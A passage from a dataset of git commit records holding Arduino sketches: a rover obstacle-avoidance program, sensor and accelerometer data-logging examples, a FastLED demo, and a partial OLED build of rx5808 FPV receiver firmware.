filter)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(S2, HIGH); \n\u00a0\u00a0\u00a0\u00a0digitalWrite(S3, LOW);\n\u00a0\u00a0\u00a0\u00a0Serial.println(\"-----no filter\");\n\u00a0\u00a0\u00a0\u00a0break;\n\u00a0\u00a0}\n}\n\n[\/code]\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensoreColore.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0d18298e8bf97eb6b412c03bdff48240a6dbe75b","subject":"Create robottino_run.ino","message":"Create robottino_run.ino","repos":"ated4kids\/rover","old_file":"robottino_run.ino","new_file":"robottino_run.ino","new_contents":"\/**\nBruno Santos, 2013\nfeiticeir0@whatgeek.com.pt\nmodified by Gaspar Torriero 2015\n\nDC motors - 2x with a L298 Dual H-Bridge Motor Driver\n2 x HC-SR04 ultrasound sensors\n**\/\n\n#include <Wire.h>\n\/\/Ultrasound sensor\n#define ECHOPINR 12\n#define TRIGPINR 11\n#define ECHOPINL 7\n#define TRIGPINL 6\n\/\/Minimum distance from obstacle\nint minDistance = 10;\nint medDistance = 20;\nint cmR;\nint cmL;\n\n\/\/TDC Motors\n\/\/Define Pins\n\/\/Motor A\nint enableA = 10;\nint pinA1 = 2;\nint pinA2 = 3;\n\n\/\/Motor B\nint enableB = 9;\nint pinB1 = 4;\nint pinB2 = 5;\n\/\/define time for run\n\/\/ in milliseconds\nint running = 10000; \/\/10 secons\nboolean play;\n\nvoid setup() {\n \/\/Serial.begin (9600);\n \/\/Configue sensor pin modes\n pinMode(ECHOPINR, INPUT);\n pinMode(TRIGPINR, OUTPUT);\n pinMode(ECHOPINL, INPUT);\n pinMode(TRIGPINL, OUTPUT);\n\n \/\/configure motor pin modes\n pinMode (enableA, OUTPUT);\n pinMode (pinA1, OUTPUT);\n pinMode (pinA2, OUTPUT);\n\n pinMode (enableB, OUTPUT);\n pinMode (pinB1, OUTPUT);\n pinMode (pinB2, OUTPUT);\n\n play = true;\n\n}\n\/\/Defining functions so it's more easy\n\n\/\/motor functions\nvoid motorAforward() {\n digitalWrite (pinA1, HIGH);\n digitalWrite (pinA2, LOW);\n}\nvoid motorBforward() {\n digitalWrite (pinB1, LOW);\n digitalWrite (pinB2, HIGH);\n}\nvoid motorAbackward() {\n digitalWrite (pinA1, LOW);\n digitalWrite (pinA2, HIGH);\n}\nvoid motorBbackward() {\n digitalWrite (pinB1, HIGH);\n digitalWrite (pinB2, LOW);\n}\nvoid motorAstop() {\n digitalWrite (pinA1, HIGH);\n digitalWrite (pinA2, HIGH);\n}\nvoid motorBstop() {\n digitalWrite (pinB1, HIGH);\n digitalWrite (pinB2, HIGH);\n}\nvoid motorAcoast() {\n digitalWrite (pinA1, LOW);\n digitalWrite (pinA2, LOW);\n}\nvoid motorBcoast() {\n digitalWrite (pinB1, LOW);\n digitalWrite (pinB2, LOW);\n}\nvoid motorAon() {\n digitalWrite (enableA, HIGH);\n}\nvoid motorBon() {\n digitalWrite (enableB, HIGH);\n}\nvoid motorAoff() {\n digitalWrite (enableA, LOW);\n}\nvoid motorBoff() {\n digitalWrite (enableB, LOW);\n}\n\/\/ Movement functions\nvoid forward (int duration) {\n motorAforward();\n motorBforward();\n delay (duration);\n}\nvoid backward (int duration) {\n motorAbackward();\n motorBbackward();\n delay (duration);\n}\nvoid hardleft (int duration) {\n motorBbackward();\n motorAforward();\n delay (duration);\n}\nvoid hardright (int duration) {\n motorBforward();\n motorAbackward();\n delay (duration);\n}\nvoid left (int duration) {\n motorBstop();\n motorAforward();\n delay (duration);\n}\nvoid right (int duration) {\n motorBforward();\n motorAstop();\n delay (duration);\n}\nvoid coast (int duration) {\n motorAcoast();\n motorBcoast();\n delay (duration);\n}\nvoid breakRobot (int duration) {\n motorAstop();\n motorBstop();\n delay (duration);\n}\nvoid disableMotors() {\n motorAoff();\n motorBoff();\n}\nvoid enableMotors() {\n motorAon();\n motorBon();\n}\n\nvoid loop() {\n\n while (play) {\n enableMotors();\n \/\/ hardright (1);\n\n \/\/Measure obstacle distance in cm\n\n digitalWrite(TRIGPINR, LOW);\n delayMicroseconds(2);\n digitalWrite(TRIGPINR, HIGH);\n delayMicroseconds(10);\n digitalWrite(TRIGPINR, LOW);\n float distanceR = pulseIn(ECHOPINR, HIGH);\n cmR = distanceR \/ 58;\n\n digitalWrite(TRIGPINL, LOW);\n delayMicroseconds(2);\n digitalWrite(TRIGPINL, HIGH);\n delayMicroseconds(10);\n digitalWrite(TRIGPINL, LOW);\n float distanceL = pulseIn(ECHOPINL, HIGH);\n cmL = distanceL \/ 58;\n\n if ((cmR < minDistance) || (cmL < minDistance)) {\n if (cmR < cmL) {\n hardleft(5);\n }\n else if (cmL < cmR) {\n hardright (5);\n }\n }\n else if ((cmR < medDistance) || (cmL < medDistance)) {\n if (cmR < cmL) {\n left(5);\n }\n else if (cmL < cmR) {\n right (5);\n }\n }\n else {\n forward (5);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'robottino_run.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"caccaa8ca1ec8205e5d0872d2df8a50093fd9f75","subject":"add example","message":"add example\n","repos":"ibandominguez\/aatr","old_file":"examples\/example.ino","new_file":"examples\/example.ino","new_contents":"\/**\n * AATR\n *\n * @author Ib\u00e1n Dom\u00ednguez <ibandominguez@hotmail.com>\n * @copyright 2015 Ib\u00e1n Dom\u00ednguez (http:\/\/www.ibandominguez.com)\n * @license http:\/\/www.opensource.org\/licenses\/mit-license.php MIT\n * @link https:\/\/github.com\/ibandominguez\/aatr\n *\/\n\n#include \"aatr.h\"\n\nAATR *sensor = new AATR(A0);\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.print(\"Celcius:\\t\");\n Serial.print(sensor->read()->getTmp('C'));\n Serial.print(\"\\n\");\n\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8794527f8dab174a9ada1b7c1a34f65b112ef4a","subject":"Combined accelerometer and data logger.","message":"Combined accelerometer and data logger.\n","repos":"luisibanez\/Verve","old_file":"Source\/Arduino\/sketch_accelerometer_data_logger\/sketch_accelerometer_data_logger.ino","new_file":"Source\/Arduino\/sketch_accelerometer_data_logger\/sketch_accelerometer_data_logger.ino","new_contents":"\/\/-------------------------------------------------------------------------------\n\/\/ TinyCircuits Accelerometer TinyShield Example Sketch\n\/\/ Using Bosch BMA250 in I2C mode\n\/\/\n\/\/ Created 6\/30\/2013\n\/\/ by Ken Burns, TinyCircuits http:\/\/Tiny-Circuits.com\n\/\/\n\/\/ This example code is in the public domain.\n\/\/\n\/\/-------------------------------------------------------------------------------\n\n#include <Wire.h>\n#include <SD.h>\n#include <stdlib.h>\n\n#define BMA250_I2CADDR 0x18\n#define BMA250_RANGE 0x03 \/\/ 0x03 = 2g, 0x05 = 4g, 0x08 = 8g, 0x0C = 16g\n#define BMA250_BW 0x08 \/\/ 7.81Hz (update time of 64ms)\n\nint AccelX;\nint AccelY;\nint AccelZ;\nfloat AccelTemperature;\nconst int chipSelect = 10;\nchar buffer[50];\n\nvoid setup()\n{\n Wire.begin();\n Serial.begin(9600);\n BMA250Init();\n\n Serial.print(\"Initializing SD card...\");\n \/\/ make sure that the default chip select pin is set to\n \/\/ output, even if you don't use it:\n pinMode(10, OUTPUT);\n\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n Serial.println(\"card initialized.\");\n\n}\n\n\nvoid loop()\n{\n BMA250ReadAccel();\n\n \/\/ make a string for assembling the data to log:\n String dataString = \"\";\n\n \/\/ Print out the accelerometer data\n dataString += \"x: \";\n dataString += String(AccelX);\n dataString += \", y: \";\n dataString += String(AccelY);\n dataString += \", z: \";\n dataString += String(AccelZ);\n dataString += \", t: \";\n dtostrf(AccelTemperature,10,5,buffer);\n dataString += buffer;\n dataString += \"degC\";\n\n \/\/ open the file. note that only one file can be open at a time,\n \/\/ so you have to close this one before opening another.\n File dataFile = SD.open(\"datalog.txt\", FILE_WRITE);\n\n \/\/ if the file is available, write to it:\n if (dataFile) {\n dataFile.println(dataString);\n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(dataString);\n }\n \/\/ if the file isn't open, pop up an error:\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n delay(100);\n}\n\n\nvoid BMA250Init()\n{\n \/\/ Setup the range measurement setting\n Wire.beginTransmission(BMA250_I2CADDR);\n Wire.write(0x0F); \n Wire.write(BMA250_RANGE);\n Wire.endTransmission();\n \n \/\/ Setup the bandwidth\n Wire.beginTransmission(BMA250_I2CADDR);\n Wire.write(0x10);\n Wire.write(BMA250_BW);\n Wire.endTransmission();\n}\n\n\nint BMA250ReadAccel()\n{\n uint8_t ReadBuff[8];\n \n \/\/ Read the 7 data bytes from the BMA250\n Wire.beginTransmission(BMA250_I2CADDR);\n Wire.write(0x02);\n Wire.endTransmission();\n Wire.requestFrom(BMA250_I2CADDR,7);\n \n for(int i = 0; i < 7;i++)\n {\n ReadBuff[i] = Wire.read();\n }\n \n AccelX = ReadBuff[1] << 8;\n AccelX |= ReadBuff[0];\n AccelX >>= 6;\n \n AccelY = ReadBuff[3] << 8;\n AccelY |= ReadBuff[2];\n AccelY >>= 6;\n \n AccelZ = ReadBuff[5] << 8;\n AccelZ |= ReadBuff[4];\n AccelZ >>= 6; \n\n AccelTemperature = (ReadBuff[6] * 0.5) + 24.0;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Source\/Arduino\/sketch_accelerometer_data_logger\/sketch_accelerometer_data_logger.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"21e335aa638ed7f4052c8c2a2fc8c2191d46f15e","subject":"Create CRGBSet_example2.ino","message":"Create CRGBSet_example2.ino","repos":"marmilicious\/FastLED_examples","old_file":"CRGBSet_example2.ino","new_file":"CRGBSet_example2.ino","new_contents":"\/\/ Marc Miller, Oct 2017\n\n#include \"FastLED.h\"\n#define NUM_LEDS 32\n\n\/\/CRGB leds[NUM_LEDS]; \/\/ Not using this. Using CRGBArray instead.\nCRGBArray<NUM_LEDS> leds;\n\nCRGBSet partA(leds(0,NUM_LEDS\/2-1)); \/\/ First half of strip.\nCRGBSet partB(leds(NUM_LEDS\/2,NUM_LEDS-1)); \/\/ Second half of strip.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n delay(500);\n FastLED.addLeds<LPD8806, 11, 13, GRB>(leds, NUM_LEDS);\n FastLED.setBrightness(255);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n \/\/Fill first half of strip with moving rainbow\n fill_rainbow( partA, NUM_LEDS\/2, millis()\/20);\n\n\n \/*Three different ways to copy the data.\n * The second two mirror the data.\n * Uncomment one at a time to test out. *\/\n \n \/\/partB = partA; \/\/creates dupicate copy in second half of strip\n leds(NUM_LEDS-1,NUM_LEDS\/2) = partA; \/\/creates mirrored copy in second half of strip\n \/\/partB = leds(NUM_LEDS\/2-1,0); \/\/creates mirrored copy in second half of strip\n \n\n FastLED.show();\n delay(2);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CRGBSet_example2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2380c6afa460debbd5ebf774945ca7fdee33306c","subject":"Creating OLED version.","message":"Creating OLED version.\n","repos":"Snebajer1\/FPV-receiver-diversity-hack,Snebajer1\/FPV-receiver-diversity-hack,RCDaddy\/rx5808-pro-diversity,sheaivey\/rx5808-pro-diversity,RCDaddy\/rx5808-pro-diversity,sheaivey\/rx5808-pro-diversity","old_file":"src\/rx5808-pro-diversity-oled\/rx5808-pro-diversity-oled.ino","new_file":"src\/rx5808-pro-diversity-oled\/rx5808-pro-diversity-oled.ino","new_contents":"\/*\n * SPI driver based on fs_skyrf_58g-main.c Written by Simon Chambers\n * TVOUT by Myles Metzel\n * Scanner by Johan Hermen\n * Inital 2 Button version by Peter (pete1990)\n * Refactored and GUI reworked by Marko Hoepken\n * Universal version my Marko Hoepken\n * Diversity Receiver Mode and GUI improvements by Shea Ivey\n\nThe MIT License (MIT)\n\nCopyright (c) 2015 Marko Hoepken\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n\/\/#include <TVout.h>\n\/\/#include <fontALL.h>\n#include <avr\/pgmspace.h>\n#include <EEPROM.h>\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_SSD1306.h>\n#include <Adafruit_GFX.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n\/\/ Feature Togglels\n\/\/#define DEBUG\n\/\/#define USE_DIVERSITY\n\n\n#define spiDataPin 10\n#define slaveSelectPin 11\n#define spiClockPin 12\n\n\/\/ Receiver PINS\n#define receiverA_led A0\n#define rssiPinA A6\n\n#ifdef USE_DIVERSITY\n \/\/ Diversity\n #define receiverB_led A1\n #define rssiPinB A7\n #define useReceiverAuto 0\n #define useReceiverA 1\n #define useReceiverB 2\n \/\/ rssi strenth should be 2% greater than other receiver before switch.\n \/\/ this pervents flicker when rssi are close.\n #define DIVERSITY_CUTOVER 2\n#endif\n\n\/\/ this two are minimum required\n#define buttonSeek 2\n#define buttonMode 3\n\/\/ optional comfort buttons\n#define buttonDown 4\n#define buttonSave 5\n\/\/ Buzzer\n#define buzzer 6\n\n\/\/ key debounce delay in ms\n\/\/ NOTE: good values are in the range of 100-200ms\n\/\/ shorter values will make it more reactive, but may lead to double trigger\n#define KEY_DEBOUNCE 200\n\n\/\/ Set you TV format (PAL = Europe = 50Hz, NTSC = INT = 60Hz)\n\/\/#define TV_FORMAT NTSC\n#define TV_FORMAT PAL\n\n#define led 13\n\/\/ RSSI default raw range\n#define RSSI_MIN_VAL 90\n#define RSSI_MAX_VAL 300\n\/\/ 75% threshold, when channel is printed in spectrum\n#define RSSI_SEEK_FOUND 75\n\/\/ 80% under max value for RSSI\n#define RSSI_SEEK_TRESHOLD 80\n\/\/ scan loops for setup run\n#define RSSI_SETUP_RUN 10\n\n#define STATE_SEEK_FOUND 0\n#define STATE_SEEK 1\n#define STATE_SCAN 2\n#define STATE_MANUAL 3\n#ifdef USE_DIVERSITY\n#define STATE_DIVERSITY 4\n#endif\n#define STATE_SAVE 5\n#define STATE_RSSI_SETUP 6\n\n#define START_STATE STATE_SEEK\n#define MAX_STATE STATE_MANUAL\n\n#define CHANNEL_BAND_SIZE 8\n#define CHANNEL_MIN_INDEX 0\n#define CHANNEL_MAX_INDEX 39\n\n#define CHANNEL_MAX 39\n#define CHANNEL_MIN 0\n\n#define TV_COLS 128\n#define TV_ROWS 96\n#define TV_Y_MAX TV_ROWS-1\n#define TV_X_MAX TV_COLS-1\n#define TV_SCANNER_OFFSET 14\n#define SCANNER_BAR_SIZE 52\n#define SCANNER_LIST_X_POS 54\n#define SCANNER_LIST_Y_POS 16\n#define SCANNER_MARKER_SIZE 1\n\n#define EEPROM_ADR_STATE 0\n#define EEPROM_ADR_TUNE 1\n#define EEPROM_ADR_RSSI_MIN_A_L 2\n#define EEPROM_ADR_RSSI_MIN_A_H 3\n#define EEPROM_ADR_RSSI_MAX_A_L 4\n#define EEPROM_ADR_RSSI_MAX_A_H 5\n#ifdef USE_DIVERSITY\n#define EEPROM_ADR_DIVERSITY 6\n#define EEPROM_ADR_RSSI_MIN_B_L 7\n#define EEPROM_ADR_RSSI_MIN_B_H 8\n#define EEPROM_ADR_RSSI_MAX_B_L 9\n#define EEPROM_ADR_RSSI_MAX_B_H 10\n#endif\n\n\/\/ Channels to sent to the SPI registers\nconst uint16_t channelTable[] PROGMEM = {\n \/\/ Channel 1 - 8\n 0x2A05, 0x299B, 0x2991, 0x2987, 0x291D, 0x2913, 0x2909, 0x289F, \/\/ Band A\n 0x2903, 0x290C, 0x2916, 0x291F, 0x2989, 0x2992, 0x299C, 0x2A05, \/\/ Band B\n 0x2895, 0x288B, 0x2881, 0x2817, 0x2A0F, 0x2A19, 0x2A83, 0x2A8D, \/\/ Band E\n 0x2906, 0x2910, 0x291A, 0x2984, 0x298E, 0x2998, 0x2A02, 0x2A0C, \/\/ Band F \/ Airwave\n 0x281D, 0x288F, 0x2902, 0x2914, 0x2978, 0x2999, 0x2A0C, 0x2A1E \/\/ Band C \/ Immersion Raceband\n};\n\n\/\/ Channels with their Mhz Values\nconst uint16_t channelFreqTable[] PROGMEM = {\n \/\/ Channel 1 - 8\n 5865, 5845, 5825, 5805, 5785, 5765, 5745, 5725, \/\/ Band A\n 5733, 5752, 5771, 5790, 5809, 5828, 5847, 5866, \/\/ Band B\n 5705, 5685, 5665, 5645, 5885, 5905, 5925, 5945, \/\/ Band E\n 5740, 5760, 5780, 5800, 5820, 5840, 5860, 5880, \/\/ Band F \/ Airwave\n 5658, 5695, 5732, 5769, 5806, 5843, 5880, 5917 \/\/ Band C \/ Immersion Raceband\n};\n\n\/\/ do coding as simple hex value to save memory.\nconst uint8_t channelNames[] PROGMEM = {\n 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, \/\/ Band A\n 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, \/\/ Band B\n 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, \/\/ Band E\n 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, \/\/ Band F \/ Airwave\n 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8 \/\/ Band C \/ Immersion Raceband\n};\n\n\/\/ All Channels of the above List ordered by Mhz\nconst uint8_t channelList[] PROGMEM = {\n 19, 18, 32, 17, 33, 16, 7, 34, 8, 24, 6, 9, 25, 5, 35, 10, 26, 4, 11, 27, 3, 36, 12, 28, 2, 13, 29, 37, 1, 14, 30, 0, 15, 31, 38, 20, 21, 39, 22, 23\n};\n\nuint8_t channel = 0;\nuint8_t channelIndex = 0;\nuint8_t rssi = 0;\nuint8_t rssi_scaled = 0;\n#ifdef USE_DIVERSITY\nuint8_t diversity_mode = useReceiverAuto;\n#endif\nuint8_t hight = 0;\nuint8_t state = START_STATE;\nuint8_t state_last_used=START_STATE;\nuint8_t last_state= START_STATE+1; \/\/ force screen draw\nuint8_t writePos = 0;\nuint8_t switch_count = 0;\nuint8_t man_channel = 0;\nuint8_t last_channel_index = 0;\nuint8_t force_seek=0;\nunsigned long time_of_tune = 0; \/\/ will store last time when tuner was changed\nuint8_t last_maker_pos=0;\nuint8_t last_active_channel=0;\nuint8_t first_channel_marker=1;\nuint8_t update_frequency_view=0;\nuint8_t seek_found=0;\nuint8_t last_dip_channel=255;\nuint8_t last_dip_band=255;\nuint8_t scan_start=0;\nuint8_t first_tune=1;\nuint8_t force_menu_redraw=0;\nuint16_t rssi_best=RSSI_MIN_VAL; \/\/ used for band scaner\nuint16_t rssi_min_a=0;\nuint16_t rssi_max_a=0;\nuint16_t rssi_setup_min_a=0;\nuint16_t rssi_setup_max_a=0;\n#ifdef USE_DIVERSITY\nuint16_t rssi_min_b=0;\nuint16_t rssi_max_b=0;\nuint16_t rssi_setup_min_b=0;\nuint16_t rssi_setup_max_b=0;\n#endif\nuint16_t rssi_seek_found=0;\nuint16_t rssi_setup_run=0;\n\n\/\/TVout TV;\n\n\/\/ SETUP ----------------------------------------------------------------------------\nvoid setup()\n{\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3D (for the 128x64)\n \/\/ init done\n display.clearDisplay(); \/\/ clears the screen and buffer\n display.display(); \/\/ show splashscreen\n \/\/ IO INIT\n \/\/ initialize digital pin 13 LED as an output.\n pinMode(led, OUTPUT); \/\/ status pin for TV mode errors\n \/\/ buzzer\n pinMode(buzzer, OUTPUT); \/\/ Feedback buzzer (active buzzer, not passive piezo)\n digitalWrite(buzzer, HIGH);\n \/\/ minimum control pins\n pinMode(buttonSeek, INPUT);\n digitalWrite(buttonSeek, INPUT_PULLUP);\n pinMode(buttonMode, INPUT);\n digitalWrite(buttonMode, INPUT_PULLUP);\n \/\/ optional control\n pinMode(buttonDown, INPUT);\n digitalWrite(buttonDown, INPUT_PULLUP);\n pinMode(buttonSave, INPUT);\n digitalWrite(buttonSave, INPUT_PULLUP);\n \/\/Receiver Setup\n pinMode(receiverA_led,OUTPUT);\n digitalWrite(buzzer, HIGH);\n#ifdef USE_DIVERSITY\n pinMode(receiverB_led,OUTPUT);\n digitalWrite(receiverA_led, LOW);\n#endif\n#ifdef DEBUG\n Serial.begin(115200);\n Serial.println(F(\"START:\"));\n#endif\n \/\/ SPI pins for RX control\n pinMode (slaveSelectPin, OUTPUT);\n pinMode (spiDataPin, OUTPUT);\n\tpinMode (spiClockPin, OUTPUT);\n \/\/ tune to first channel\n\n\n \/\/ init TV system\n char retVal = 0;\/\/TV.begin(TV_FORMAT, TV_COLS, TV_ROWS);\n \/\/ 0 if no error.\n \/\/ 1 if x is not divisable by 8.\n \/\/ 2 if y is to large (NTSC only cannot fill PAL vertical resolution by 8bit limit)\n \/\/ 4 if there is not enough memory for the frame buffer.\n if (retVal > 0) {\n \/\/ on Error flicker LED\n while (true) { \/\/ stay in ERROR for ever\n digitalWrite(led, !digitalRead(led));\n delay(100);\n }\n }\n \/\/TV.select_font(font4x6);\n \/\/ Setup Done - LED ON\n digitalWrite(led, HIGH);\n\n \/\/ use values only of EEprom is not 255 = unsaved\n uint8_t eeprom_check = EEPROM.read(EEPROM_ADR_STATE);\n if(eeprom_check == 255) \/\/ unused\n {\n EEPROM.write(EEPROM_ADR_STATE,START_STATE);\n EEPROM.write(EEPROM_ADR_TUNE,CHANNEL_MIN_INDEX);\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MIN_A_L,lowByte(RSSI_MIN_VAL));\n EEPROM.write(EEPROM_ADR_RSSI_MIN_A_H,highByte(RSSI_MIN_VAL));\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MAX_A_L,lowByte(RSSI_MAX_VAL));\n EEPROM.write(EEPROM_ADR_RSSI_MAX_A_H,highByte(RSSI_MAX_VAL));\n#ifdef USE_DIVERSITY\n \/\/ diversity\n EEPROM.write(EEPROM_ADR_DIVERSITY,diversity_mode);\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MIN_B_L,lowByte(RSSI_MIN_VAL));\n EEPROM.write(EEPROM_ADR_RSSI_MIN_B_H,highByte(RSSI_MIN_VAL));\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MAX_B_L,lowByte(RSSI_MAX_VAL));\n EEPROM.write(EEPROM_ADR_RSSI_MAX_B_H,highByte(RSSI_MAX_VAL));\n#endif\n }\n\n \/\/ read last setting from eeprom\n state=EEPROM.read(EEPROM_ADR_STATE);\n channelIndex=EEPROM.read(EEPROM_ADR_TUNE);\n rssi_min_a=((EEPROM.read(EEPROM_ADR_RSSI_MIN_A_H)<<8) | (EEPROM.read(EEPROM_ADR_RSSI_MIN_A_L)));\n rssi_max_a=((EEPROM.read(EEPROM_ADR_RSSI_MAX_A_H)<<8) | (EEPROM.read(EEPROM_ADR_RSSI_MAX_A_L)));\n#ifdef USE_DIVERSITY\n diversity_mode = EEPROM.read(EEPROM_ADR_DIVERSITY);\n rssi_min_b=((EEPROM.read(EEPROM_ADR_RSSI_MIN_B_H)<<8) | (EEPROM.read(EEPROM_ADR_RSSI_MIN_B_L)));\n rssi_max_b=((EEPROM.read(EEPROM_ADR_RSSI_MAX_B_H)<<8) | (EEPROM.read(EEPROM_ADR_RSSI_MAX_B_L)));\n#endif\n force_menu_redraw=1;\n}\n\n\/\/ LOOP ----------------------------------------------------------------------------\nvoid loop()\n{\n \/*******************\/\n \/* Mode Select *\/\n \/*******************\/\n state_last_used=state; \/\/ save save settings\n if (digitalRead(buttonMode) == LOW) \/\/ key pressed ?\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE\/2); \/\/ debounce\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE\/2); \/\/ debounce\n\n uint8_t press_time=0;\n \/\/ on entry wait for release\n while(digitalRead(buttonMode) == LOW)\n {\n delay(10);\n press_time++;\n }\n #define MAX_MENU 4\n #define MENU_Y_SIZE 15\n\n char menu_id=state_last_used-1;\n \/\/ Show Mode Screen\n if(state==STATE_SEEK_FOUND)\n {\n state=STATE_SEEK;\n }\n uint8_t in_menu=1;\n uint8_t in_menu_time_out=50; \/\/ 20x 100ms = 5 seconds\n \/*\n Enter Mode menu\n Show current mode\n Change mode by MODE key\n Any Mode will refresh screen\n If not MODE changes in 2 seconds, it uses last used mode\n *\/\n do\n {\n if(press_time >= 10) \/\/ if menu held for 1 second invoke quick save.\n {\n \/\/ user held the mode button and wants to quick save.\n in_menu=0; \/\/ EXIT\n state = STATE_SAVE;\n break;\n }\n display.clearDisplay();\n display.setTextSize(1);\n display.setTextColor(BLACK);\n display.drawRect(0, 0, display.width(), display.height(), WHITE);\n display.fillRect(0, 0, display.width(), 11, WHITE);\n display.setCursor(50,2);\n display.print(\"MENU\");\n \/\/ selection by inverted box\n switch (menu_id)\n {\n case 0: \/\/ auto search\n state=STATE_SEEK;\n force_seek=1;\n seek_found=0;\n break;\n case 1: \/\/ Band Scanner\n state=STATE_SCAN;\n scan_start=1;\n break;\n case 2: \/\/ manual mode\n state=STATE_MANUAL;\n break;\n #ifdef USE_DIVERSITY\n case 3: \/\/ Diversity\n state=STATE_DIVERSITY;\n break;\n #else\n case 3: \/\/ Skip\n menu_id++;\n #endif\n case 4: \/\/ Save settings\n state=STATE_SAVE;\n break;\n } \/\/ end switch\n\n \/\/ draw selected\n display.fillRect(0, 10*menu_id+12, display.width(), 10, WHITE);\n\n display.setTextSize(1);\n display.setTextColor(menu_id == 0 ? BLACK : WHITE);\n display.setCursor(5,10*0+13);\n display.print(\"AUTO SEARCH\");\n display.setTextColor(menu_id == 1 ? BLACK : WHITE);\n display.setCursor(5,10*1+13);\n display.print(\"BAND SCANNER\");\n display.setTextColor(menu_id == 2 ? BLACK : WHITE);\n display.setCursor(5,10*2+13);\n display.print(\"MANUAL MODE\");\n#ifdef USE_DIVERSITY\n display.setTextColor(menu_id == 3 ? BLACK : WHITE);\n display.setCursor(5,10*3+13);\n display.print(\"DIVERSITY\");\n#endif\n display.setTextColor(menu_id == 4 ? BLACK : WHITE);\n display.setCursor(5,10*4+13);\n display.println(\"SAVE SETUP\");\n display.display();\n\n while(digitalRead(buttonMode) == LOW || digitalRead(buttonSeek) == LOW || digitalRead(buttonDown) == LOW)\n {\n \/\/ wait for MODE release\n in_menu_time_out=50;\n }\n while(--in_menu_time_out && ((digitalRead(buttonMode) == HIGH) && (digitalRead(buttonSeek) == HIGH) && (digitalRead(buttonDown) == HIGH))) \/\/ wait for next key press or time out\n {\n delay(100); \/\/ timeout delay\n }\n if(in_menu_time_out==0 || digitalRead(buttonMode) == LOW)\n {\n if(digitalRead(buttonMode) != LOW) {\n state=state_last_used; \/\/ exit to last state on timeout.\n }\n in_menu=0; \/\/ EXIT\n beep(KEY_DEBOUNCE\/2); \/\/ beep & debounce\n delay(50); \/\/ debounce\n beep(KEY_DEBOUNCE\/2); \/\/ beep & debounce\n delay(50); \/\/ debounce\n }\n else \/\/ no timeout, must be keypressed\n {\n \/*********************\/\n \/* Menu handler *\/\n \/*********************\/\n if(digitalRead(buttonSeek) == LOW) {\n menu_id++;\n }\n else if(digitalRead(buttonDown) == LOW) {\n menu_id--;\n }\n\n if (menu_id > MAX_MENU)\n {\n menu_id = 0; \/\/ next state\n }\n if(menu_id < 0)\n {\n menu_id = MAX_MENU;\n }\n in_menu_time_out=50;\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n }\n } while(in_menu);\n last_state=255; \/\/ force redraw of current screen\n switch_count = 0;\n }\n else \/\/ key pressed\n { \/\/ reset debounce\n switch_count = 0;\n }\n \/***********************\/\n \/* Save buttom *\/\n \/***********************\/\n \/\/ hardware save buttom support (if no display is used)\n if(digitalRead(buttonSave) == LOW)\n {\n state=STATE_SAVE;\n }\n \/***************************************\/\n \/* Draw screen if mode has changed *\/\n \/***************************************\/\n if(force_menu_redraw || state != last_state)\n {\n force_menu_redraw=0;\n \/************************\/\n \/* Main screen draw *\/\n \/************************\/\n \/\/ changed state, clear an draw new screen\n\n display.clearDisplay();\n 